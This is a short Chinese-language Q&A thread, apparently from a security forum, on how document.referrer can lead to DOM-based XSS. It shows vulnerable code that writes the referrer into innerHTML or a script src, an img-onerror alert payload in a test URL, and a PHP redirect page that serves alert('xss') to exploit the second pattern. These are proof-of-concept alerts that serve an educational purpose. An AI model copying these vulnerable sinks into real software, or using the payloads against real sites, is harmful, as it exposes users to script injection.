document.referrer 如何用于 XSS?

信息安全 xss javascript dom
2021-08-10 23:26:37

一个非常简单的例子...

<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = document.referrer;
</script>

或者

<script src="' + document.referrer + '"></script>

我试过简单地发送请求并添加一个引用标头,但这似乎并没有在页面上回显。

2个回答

更新的浏览器将对引荐来源网址进行编码。

因此,您的示例现在无法触发 XSS。

试试这个:

<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = decodeURIComponent(document.referrer);
</script>

JSFIDDLE:

http://jsfiddle.net/y4afy8h9/1/?<img%20src=x%20onerror=alert(9)>?

以下代码易受基于 DOM 的 XSS 攻击,因为浏览器会跟踪攻击者控制的document.referrer值:

<script src="' + document.referrer + '"></script>

上面的代码可以使用一个页面来利用,该页面在第一次加载时将浏览器重定向到您的目标,在第二次加载时它返回一个 XSS 有效负载。一种方法是在服务器端检查引用者:

<?php
if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
   print "alert('xss')";
}else{
   header("location: http://target.com/xss")
}
?>

当页面http://target.com/xss加载时,来自document.referer的javascript将加载alert('xss')